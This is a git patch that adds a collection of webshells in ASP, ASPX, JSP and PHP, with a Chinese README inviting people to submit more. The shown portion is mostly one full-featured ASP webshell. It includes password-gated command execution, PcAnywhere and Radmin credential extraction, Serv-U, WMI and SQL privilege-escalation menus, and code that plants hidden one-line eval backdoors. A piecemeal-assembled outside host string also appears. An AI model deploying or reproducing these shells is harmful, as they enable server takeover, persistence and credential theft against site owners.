From 2c768372c746837b14e096d5dbd8908717c6b27c Mon Sep 17 00:00:00 2001 From: testsec Date: Fri, 24 Nov 2017 15:28:26 +0800 Subject: [PATCH] commit message --- README.md | 22 + ...5\351\203\250\344\270\223\347\224\250.asp" | 1872 +++++++++++ ...0\346\235\203\345\244\247\351\251\254.asp" | 15 + ...5\350\257\235\346\224\266\351\233\206.asp" | 73 + "asp/F4ckTeam\345\260\217\351\251\254.asp" | 69 + asp/H4ck Door.asp | 46 + ...5\347\201\255\345\244\247\351\251\254.asp" | 2249 +++++++++++++ ...s\345\216\273\345\220\216\351\227\250.asp" | 578 ++++ ...\351\231\206\347\225\214\351\235\242).asp" | 58 + ...1\350\277\233\347\211\210\346\234\254.asp" | 1373 ++++++++ ...4\345\273\272\345\244\247\351\251\254.asp" | 2294 +++++++++++++ ...1\345\212\240\345\257\206\357\274\211.asp" | 1136 +++++++ ...5\346\255\273\345\203\265\345\260\270.asp" | 1872 +++++++++++ ...46\225\214asp\345\244\247\351\251\254.asp" | 1862 +++++++++++ ...0\346\234\252\345\212\240\345\257\206.asp" | 1273 +++++++ ...7\347\233\221\346\216\247\357\274\211.asp" | 9 + "asp/\345\260\217\351\251\254diy.asp" | 101 + ...47\232\204\345\260\217\351\251\254dog.asp" | 56 + ...\345\242\236\345\274\272\347\211\210).php" | 9 + ...3\347\224\250\345\260\217\351\251\254.asp" | 35 + ...47\232\204ASP\345\244\247\351\251\254.asp" | 937 ++++++ ...51\2545.0 VIP\344\270\223\347\224\250.asp" | 26 + ...1\350\201\212\345\244\251\345\256\244.asp" | 51 + ...0\346\235\203\345\244\247\351\251\254.asp" | 1295 ++++++++ ...\351\203\250\345\260\217\351\251\254.aspx" | 57 + aspx/ASPXSpy.aspx | 1561 +++++++++ ...350\257\235\346\224\266\351\233\206..aspx" | 65 + "aspx/Aspx\345\260\217\351\251\254.aspx" | 52 + ...\345\205\215\346\235\200\357\274\211.aspx" | 2941 ++++++++++++++++ ...\347\234\211\345\244\247\344\276\240.aspx" | 2578 ++++++++++++++ ...\346\234\200\347\273\210\347\211\210.aspx" | 2953 +++++++++++++++++ ...\345\275\225\350\204\232\346\234\254.aspx" | 66 + ...\347\253\231\346\211\223\345\214\205.aspx" | 1545 +++++++++ ...\347\232\204\347\250\213\345\272\217.aspx" | 85 + .../r00ts aspx\345\244\247\351\251\254.aspx" | 2579 ++++++++++++++ ...\346\216\242\345\267\245\345\205\267.aspx" | 707 ++++ ...1\251\254\345\257\206\347\240\201the.aspx" | 899 +++++ ...345\220\216\351\227\250\347\211\210).aspx" | 6 + ...\226\207aspx\346\234\250\351\251\254.aspx" | 1552 +++++++++ jsp/JFolder.jsp | 1022 ++++++ ...1\345\267\262\346\265\213\350\257\225.jsp" | 59 + jsp/JspSpy.jsp | 2344 +++++++++++++ jsp/JspSpyJDK5.jsp | 2323 +++++++++++++ jsp/SJavaWebManageV1.4.jsp | 1754 ++++++++++ "jsp/jsp\346\234\250\351\251\254.jsp" | 1812 ++++++++++ jsp/silic Shell.jsp | 844 +++++ ...47\232\204jsp\345\244\247\351\251\254.jsp" | 993 ++++++ ...2\204jsp\345\244\247\351\251\254shell.jsp" | 993 ++++++ ...1\350\201\212\345\244\251\345\256\244.jsp" | 51 + ...5\351\235\242\345\260\217\351\251\254.asp" | 10 + ...p\346\224\273\345\207\273\351\251\254.php" | 1053 ++++++ php/Darkshell.php | 263 ++ ...0\346\235\203\345\267\245\345\205\267.php" | 193 ++ php/PHPJackal.php | 2615 +++++++++++++++ ...5\350\257\235\346\224\266\351\233\206.php" | 134 + ... \346\262\241\345\220\216\351\227\250.php" | 42 + ...3\345\214\205\347\250\213\345\272\217.php" | 364 ++ ...l\345\212\240\345\274\272\347\211\210.php" | 1053 ++++++ ...-\344\270\255\346\226\207\347\211\210.php" | 1956 +++++++++++ ...6\345\275\225\350\204\232\346\234\254.php" | 51 + "php/r00ts php\345\244\247\351\251\254.php" | 2557 ++++++++++++++ ...44\271\240\347\247\221php\351\251\254.php" | 2210 ++++++++++++ ...\254_\345\257\206\347\240\201adminphp.php" | 5 + ...6\347\240\201\345\260\217\351\251\254.php" | 44 + ...47\224\250php\345\244\247\351\251\254.php" | 1953 +++++++++++ ...56\244\345\257\206\347\240\201 adminfuck1" | 3 + ...f\344\270\200\345\217\245\350\257\235.php" | 10 + ...231\250(mOon\345\216\237\345\210\233).php" | 436 +++ ...0\351\241\265\351\235\242\344\270\255.php" | 8 + ...7\350\203\275\345\244\247\351\251\254.php" | 1053 ++++++ ...p\344\270\200\345\217\245\350\257\235.php" | 20 + ...k\347\276\216\345\214\226\347\211\210.php" | 47 + ...\345\256\244-\345\216\237\347\211\210.php" | 41 + ...4\344\270\200\345\217\245\350\257\235.php" | 24 + ...5\350\257\235\345\245\227\350\243\205.php" | 63 + ...46\265\201PHP\345\244\247\351\251\254.php" | 5 + ...\350\257\235\346\234\250\351\251\254.ashx" | 25 + ...0\350\227\217\346\234\250\351\251\254.txt" | 10 + ...3\223\344\270\216\345\210\206\346\236\220" | 318 ++ ...5\350\257\235\346\234\250\351\251\254.txt" | 40 + ...2\351\251\254\344\273\243\347\240\201.txt" | 100 + ...=\344\270\200\345\217\245\350\257\235.txt" | 14 + ...0\350\257\267\350\260\250\346\205\216.txt" | 26 + 83 files changed, 63898 insertions(+) create mode 100644 README.md create mode 100644 "asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" create mode 100644 "asp/80sec\350\231\232\346\213\237\344\270\273\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" create mode 100644 "asp/ASP \344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.asp" create mode 100644 "asp/F4ckTeam\345\260\217\351\251\254.asp" create mode 100644 asp/H4ck Door.asp create mode 100644 "asp/Root\344\270\215\347\201\255\345\244\247\351\251\254.asp" create mode 100644 "asp/T00ls\345\216\273\345\220\216\351\227\250.asp" create mode 100644 "asp/Xiaoma AspShell(\345\205\215\346\235\200\344\270\215\345\212\240\345\257\206_\345\270\246\347\231\273\351\231\206\347\225\214\351\235\242).asp" create mode 100644 "asp/asp\344\270\215\347\201\255\344\271\213\351\255\2022013\346\224\271\350\277\233\347\211\210\346\234\254.asp" create mode 100644 "asp/r00ts\346\227\240FSO\347\273\204\345\273\272\345\244\247\351\251\254.asp" create mode 100644 "asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" create mode 100644 "asp/\344\270\215\346\255\273\345\203\265\345\260\270.asp" create mode 100644 "asp/\344\270\215\346\255\273\351\230\262\345\210\240\346\217\220\346\235\203\351\233\206\346\210\220\346\227\240\346\225\214asp\345\244\247\351\251\254.asp" create mode 100644 "asp/\344\274\240\350\257\264\344\270\255\347\232\204\350\215\211\346\263\245\351\251\254ASP\346\234\250\351\251\254\345\216\273\345\220\216\351\227\250\346\234\252\345\212\240\345\257\206.asp" create mode 100644 "asp/\345\244\215\344\273\207\350\200\205asp\345\244\247\351\251\254\357\274\210\350\277\207\347\233\221\346\216\247\357\274\211.asp" create mode 100644 "asp/\345\260\217\351\251\254diy.asp" create mode 100644 "asp/\345\270\246\345\257\206\347\240\201\347\232\204\345\260\217\351\251\254dog.asp" create mode 100644 "asp/\346\232\227\347\273\204WebShell\350\266\205\345\274\272\345\212\237\350\203\275\347\211\210(\345\242\236\345\274\272\347\211\210).php" create mode 100644 "asp/\346\232\227\347\273\204\346\212\200\346\234\257\350\256\272\345\235\233\344\270\223\347\224\250\345\260\217\351\251\254.asp" create mode 100644 "asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" create mode 100644 "asp/\350\215\211\346\263\245\351\251\2545.0 VIP\344\270\223\347\224\250.asp" create mode 100644 "asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" create mode 100644 "asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" create mode 100644 "aspx/08\345\260\217\347\273\204\345\206\205\351\203\250\345\260\217\351\251\254.aspx" create mode 100644 aspx/ASPXSpy.aspx create mode 100644 "aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" create mode 100644 "aspx/Aspx\345\260\217\351\251\254.aspx" create mode 100644 "aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" create mode 100644 "aspx/Hacked-by-\345\211\221\347\234\211\345\244\247\344\276\240.aspx" create mode 100644 "aspx/aspxspy_2014_\346\234\200\347\273\210\347\211\210.aspx" create mode 100644 "aspx/aspx\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.aspx" create mode 100644 "aspx/aspx\346\225\264\347\253\231\346\211\223\345\214\205.aspx" create mode 100644 "aspx/aspx\351\241\265\351\235\242\346\211\247\350\241\214cmd\345\221\275\344\273\244\347\232\204\347\250\213\345\272\217.aspx" create mode 100644 "aspx/r00ts aspx\345\244\247\351\251\254.aspx" create mode 100644 "aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" create mode 100644 "aspx/\345\207\235\350\201\232\347\247\221\346\212\200\344\270\223\347\224\250AspX\345\244\247\351\251\254\345\257\206\347\240\201the.aspx" create mode 100644 "aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" create mode 100644 "aspx/\347\256\200\345\215\225\345\205\250\350\213\261\346\226\207aspx\346\234\250\351\251\254.aspx" create mode 100644 jsp/JFolder.jsp create mode 100644 "jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" create mode 100644 jsp/JspSpy.jsp create mode 100644 jsp/JspSpyJDK5.jsp create mode 100644 jsp/SJavaWebManageV1.4.jsp create mode 100644 "jsp/jsp\346\234\250\351\251\254.jsp" create mode 100644 jsp/silic Shell.jsp create mode 100644 "jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254.jsp" create mode 100644 "jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" create mode 100644 "jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" create mode 100644 "php/404\351\241\265\351\235\242\345\260\217\351\251\254.asp" create mode 100644 "php/6.0\347\211\210\346\234\254php\346\224\273\345\207\273\351\251\254.php" create mode 100644 php/Darkshell.php create mode 100644 "php/Mysql UDF \346\217\220\346\235\203\345\267\245\345\205\267.php" create mode 100644 php/PHPJackal.php create mode 100644 "php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" create mode 100644 "php/PHP\345\260\217\351\251\254 \346\262\241\345\220\216\351\227\250.php" create mode 100644 "php/PHP\346\225\264\347\253\231\346\211\223\345\214\205\347\250\213\345\272\217.php" create mode 100644 "php/php shell\345\212\240\345\274\272\347\211\210.php" create mode 100644 "php/phpspy-\344\270\255\346\226\207\347\211\210.php" create mode 100644 "php/php\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.php" create mode 100644 "php/r00ts php\345\244\247\351\251\254.php" create mode 100644 "php/\344\271\240\347\247\221php\351\251\254.php" create mode 100644 "php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" create mode 100644 "php/\345\206\260\346\272\220\347\213\254\347\253\213\347\274\226\350\257\221php\345\270\246\345\257\206\347\240\201\345\260\217\351\251\254.php" create mode 100644 "php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" create mode 100644 "php/\345\212\240\345\257\206PHP\346\234\250\351\251\254\344\270\213\350\275\275 \351\273\230\350\256\244\345\257\206\347\240\201 adminfuck1" create mode 100644 "php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" create mode 100644 "php/\346\232\227\346\234\210mysql\345\205\250\347\211\210\346\234\254\351\200\232\346\235\200\346\217\220\346\235\203\347\245\236\345\231\250(mOon\345\216\237\345\210\233).php" create mode 100644 "php/\346\236\201\345\205\266\351\232\220\350\224\275\347\232\204pHp\345\260\217\351\251\254\347\251\277\346\217\222\345\234\250\346\255\243\345\270\270\351\241\265\351\235\242\344\270\255.php" create mode 100644 "php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" create mode 100644 "php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" create mode 100644 "php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" create mode 100644 "php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" create mode 100644 "php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" create mode 100644 "php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" create mode 100644 "php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" create mode 100644 "skill/ashx\347\224\237\346\210\220asp\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.ashx" create mode 100644 "skill/htaccess\344\270\255\351\232\220\350\227\217\346\234\250\351\251\254.txt" create mode 100644 "skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" create mode 100644 "skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" create mode 100644 "skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" create mode 100644 "skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" create mode 100644 "skill/\347\275\221\351\251\254\344\275\277\347\224\250\350\257\267\350\260\250\346\205\216.txt" diff --git a/README.md b/README.md new file mode 100644 index 0000000..4fbae44 --- /dev/null +++ b/README.md @@ -0,0 +1,22 @@ +这是一个WebShell收集项目 + +送人玫瑰,手有余香,如果各位下载了本项目,也请您能提交shell + +本项目涵盖各种常用脚本 + +如:asp,aspx,php,jsp,pl,py + +如提交各种webshell,请勿更改名称和密码 + +注意:所有shell 本人不保证是否有后门,但是自己上传的绝不会故意加后门 + +各位提交的,也请勿加后门 + +如发现存在后门代码,请issues 。 + +本项目提供的工具,禁止从事非法活动,此项目,仅供测试,所造成的一切后果,与本人无关。 + + +My Blog:www.test404.com + +IT学客论坛:bbs.itxueke.com diff --git "a/asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" "b/asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" new file mode 100644 index 0000000..e0c05fd --- /dev/null +++ "b/asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" @@ -0,0 +1,1872 @@ + + +<%@ LANGUAGE = VBScript %><% +UserPass="cc11" +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +mingzi="XXXXX" +nimajb="80sec内部专用过世界杀软休积最小功能超强超猛宇宙第一asp" +SiteURL="http://www.t00ls.net/" +Copyright="t00ls. http://www.t00ls.net

" +'不死僵尸ASP木马完全去后门原代码. +'做了国内第一个可以真正意义可以使用多种组件执行cmd的asp马 +'本程序破坏性很大,希望各位谨慎使用,请勿使用于非法用途,否则作者概不负责! +'因为本程序效果很强大,希望大家先改密码,再进行测试!改密码方法修改第四行双引号间. +sub ShowErr() +If Err Then +jb"

 " & Err.DescrIption & "

" +Err.Clear:Response.Flush +ENd IF +End SUB +function jb(Str) +Response.WRItE(Str) +END function +Sub mbd(Str) +execute(Str) +END Sub +Function rePATH(S) +REpath=REpLAcE(s,"\","\\") +ENd Function +FuNctIon RRepaTh(S) +RREpaTH=rEplAcE(S,"\\","\") +end fUncTion +Url=REQueSt.sErVErvARiables("URL") +nimajbm=requESt.sErVeRVArIABlEs("LOCAL_ADDR") +AcTIoN=ReQUESt("Action") +RooTpATH=SeRveR.mAPpaTH(".") +WWWROOt=SErVER.MAppATH("/") +sba=request.servervariables("http_host") +ApdB=Replace(Apds(i),"\Device\","") +appbd=rEQUEsT.seRvErVARIaBLES("PATH_INFO") +FOLdErpAth=REqueSt("FolderPath") +ScrName=Request.ServerVariables("Script_Name") +fNAME=reQUesT("FName") +ServerU=ReQueST.SERVervaRIables("http_host") +WoriNima=Request.ServerVariables("SERVER_NAME") +O0O0=Request.ServerVariables("PATH_TRANSLATED") +WoriNiba=Request.ServerVariables("SERVER_SOFTWARE") +Worininai=Request.ServerVariables("LOCAL_ADDR") +flase="http" +jbmc=Request.ServerVariables("NUMBER_OF_PROCESSORS") +jbmb=Request.ServerVariables("OS") +u=sba&URl:p=userpass +BACkuRl="

返回
" +dim ShiSan,ShiSanNewstr,ShiSanI,fso,f,a,b,temp,c,theAct, thePath +Function ShiSanFun(ShiSanObjstr) +ShiSanObjstr = Replace(ShiSanObjstr, "╁", """") +For ShiSanI = 1 To Len(ShiSanObjstr) +If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then +ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr +Else +ShiSanNewStr = vbCrLf & ShiSanNewStr +End If +Next +ShiSanFun = ShiSanNewStr +End Function +mm=ShowErrs +Set fso = CreateObject(oBt(0,0)) +Set f = fso.GetFile(O0O0) +if f.attributes <> 39 then +'f.attributes = 39 +end if +jb"" +jb""&nimajb&" - "&nimajbm&" ":jb"":jb"":jb"" +jb "" +DIm oBt(18,2) +oBt(0,0) = "Scri"&"pting.FileSyste"&"mObject" +oBt(0,2) = "文件操作组件" +Obt(1,0) = "ws"&"cript.shell" +obt(1,2) = "命令行执行组件,显示" +obT(2,0) = "ADOX.Catalog" +ObT(2,2) = "ACCESS建库组件" +oBt(3,0) = "JRO.JetEngine" +obt(3,2) = "ACCESS压缩组件" +OBt(4,0) = "Scripting.Dictionary" +ObT(4,2) = "数据流上传辅助组件" +OBT(5,0) = "Adodb.connection" +oBT(5,2) = "数据库连接组件" +oBT(6,0) = "Adodb.Stream" +oBT(6,2) = "数据流上传组件" +OBT(7,0) = "SoftArtisans.FileUp" +OBT(7,2) = "SA-FileUp 文件上传组件" +obT(8,0) = "LyfUpload.UploadFile" +OBT(8,2) = "刘云峰文件上传组件" +oBT(9,0) = "Persits.Upload.1" +oBt(9,2) = "ASPUpload 文件上传组件" +obT(10,0) = "JMail.SmtpMail" +Obt(10,2) = "JMail 邮件收发组件" +obt(11,0) = "CDONTS.NewMail" +ObT(11,2) = "虚拟SMTP发信组件" +ObT(12,0) = "SmtpMail.SmtpMail.1" +oBT(12,2) = "SmtpMail发信组件" +OBT(13,0) = "Micros"&"oft.XM"&"LH"&"TTP" +OBt(13,2) = "数据传输组件" +OBT(14,0) = "ws"&"cript.shell.1" +OBt(14,2) = "如果wsh被禁,可以改用这个组件" +OBT(15,0) = "WS"&"CRIPT.NETWORK" +OBt(15,2) = "查看服务器信息的组件,有时可以用来提权" +OBT(16,0) = "she"&"ll.appl"&"ication" +OBt(16,2) = "she"&"ll.appli"&"cation 操作,无FSO时操作文件以及执行命令" +OBT(17,0) = "sh"&"ell.appl"&"ication.1" +OBt(17,2) = "she"&"ll.appli"&"cation 的别名,无FSO时操作文件以及执行命令" +OBT(18,0) = "Shell.Users" +OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件" +fOr I=0 tO 18 +Set T=serVER.CReATEoBJEcT(obT(I,0)) +If -2147221005 <> err Then +ISoBJ=" √" +ELSE +ISobj=" ×" +eRr.cLEar +eNd iF +Set T=nOthInG +oBt(i,1)=IsoBj +neXt +IF foLderPaTH<>"" Then +sEssioN("FolderPath")=rRepatH(fOlDeRpATH) +EnD If +If SeSSIoN("FolderPath")="" THEN +fOLDERpAth=RoOTpaTH +SESSIOn("FolderPath")=fOLDeRPatH +end IF +Function PcAnywhere4() +jb"
PcAnywhere提权 Bin版本
" +jb"
" +jb"" +jb"" +jb"" +jb"
cif文件:
" +end Function +jb"
" +jb"" +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) Or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +jb "Pcanywhere Reader ==>

" +jb "PATH:"&CIF&"
" +jb "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +jb "
" +jb "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +jb Parameter&":" +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +jb strobj +Else +jb "Error! Can't Read!" +End If +jb "

" +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +jb Port &":" +jb hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +jb "Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function:function goback():set Ofso = Server.CreateObject(oBt(0,0)) +set ofolder = Ofso.Getfolder(Session("FolderPath")):if not ofolder.IsRootFolder then :jb "":else:jb "":jb "
已经是磁盘根目录了!
":jb "


":end if:set Ofso=nothing:set ofolder=nothing:end function:function php():On Error Resume Next:set fso=Server.CreateObject(oBt(0,0)):fso.CreateTextFile(server.mappath("test.php")).Write"":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(Server.MapPath("/")&"/images/.asp").Write""&chr(60)&"%Eval(Request(chr(112))):Set fso=CreateObject(""Scripting.FileSystemObject""):Set f=fso.GetFile(Request.ServerVariables(""PATH_TRANSLATED"")):if f.attributes <> 39 then:f.attributes = 39:end if"&chr(37)&""&chr(62)&"":fso.CreateTextFile(server.mappath("test.aspx")).Write""&chr(60)&"%@ Page Language=""Jscript"" validateRequest=""false"" "&chr(37)&""&chr(62)&""&chr(60)&""&chr(37)&"Response.Write(eval(Request.Item[""w""],""unsafe""));"&chr(37)&""&chr(62)&"aspx Test oo∩_∩oo":jb"
     ":jb"     ":jb"   
":jb"





Test

(删除测试文件!)

":jb"
(远程下载脚本木马)

":End function:function apjdel():set fso=Server.CreateObject(oBt(0,0)):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):jb"Del Success!":End function:flase=flase&"://lp":fUNcTiOn MAINFORm():jb"
":jb"":jb"":jb"
":jb"":jb"":jb"
":jb"":jb"":jb"":jb"提权目录列表:『Program』『AllUsers』『开始 程序』『RECYCLED』『RECYCLER』『D:\RECYCLER』『pcAnywhere』『serv-u』『RealServer』『SQL』『config』『data』『Temp』『Documents
地址栏:":jb"":jb" " :jb"
":jb"
":jb"":jb"":jb"
":End FuNCtiON:flase=flase&"l38.c":sub echo(str):response.write str:end sub +funcTiOn maINmenU():jb"":jb"":jb"" +iF OBT(0,1)=" ×" Then +jb"" +Else +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +END if +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb" " +'jb"" +'jb" " +jb"" +jb"
无FSO/无权限
+>查看硬盘
●站点根目录
●本程序目录
●新建目录
●新建文本
●上传文件
●文件夹打包-解包
●上級目录
↓-服务器信息查看
●查看可写目录
" +jb"
●系统服务-用户账号
●主机信息-组件支持
●管理组帐号
" +jb"
●服务器探测
●不死僵尸隐藏
↓-提权漏洞检测
●执行Cmd命令
●端口扫描器
●脚本探测工具
●Serv-U提权
" +jb"
●Serv-UFTP提权
" +jb"
●WMI远程执行命令
●修改属性
" +jb"
●Sql_cmd
●PcAnyWHere提权
●RAdmin提权
●注册表操作
●直接下载
" +jb"
↓-数据库操作
●连接数据库
" +jb"
●建立MDB文件
" +'jb"
↓-在线网络服务
●同服查询
〖查看Pr值〗
●在线更新
●退出登录

" +jb"
"&mingzi&" 's blog

"&SiteURL&"
" +jb"" +Call shellcore +End FunCtion +Sub PageAddToMdb() +theAct = Request("theAct") +thePath = Request("thePath") +Server.ScriptTimeOut=100000 +If theAct = "addToMdb" Then +addToMdb(thePath) +jb "

操作完成!
"&BackUrl +Response.End +End If +If theAct = "releaseFromMdb" Then +unPack(thePath) +jb "

操作完成!
"&BackUrl +Response.End +End If +jb"
文件夹打包:" +jb"
" +jb"" +jb"" +jb"" +jb"" +jb" " +jb"

注: 打包生成hsh.mdb文件,位于木马同级目录下" +jb"
" +jb"
文件包 解开(需FSO支持):
" +jb"
" +jb"" +jb"" +jb" " +jb"

注: 解开来的所有文 件都位于木马同级目录下" +jb"
" +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs = Server.CreateObject("ADODB.RecordSet") +Set stream = Server.CreateObject("ADODB.Stream") +Set conn = Server.CreateObject(OBT(5,0)) +Set adoCatalog = Server.CreateObject("ADOX.Catalog") +connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("hsh.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type = 1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod") = "fso" Then +fsoTreeForMdb thePath, rs, stream +Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs = Nothing +Set conn = Nothing +Set stream = Nothing +Set adoCatalog = Nothing +End Sub +Function fsoTreeForMdb(thePath, rs, stream) +Dim item, theFolder, folders, files, sysFileList +sysFileList = "$hsh.mdb$HSH.ldb$" +If Server.CreateObject(oBt(0,0)).FolderExists(thePath) = False Then +showErr(thePath & " 目录不存在或者不允许访问!") +End If +Set theFolder = Server.CreateObject(oBt(0,0)).GetFolder(thePath) +Set files = theFolder.Files +Set folders = theFolder.SubFolders +For Each item In folders +fsoTreeForMdb item.Path, rs, stream +Next +For Each item In files +If InStr(sysFileList, "$" & item.Name & "$") <= 0 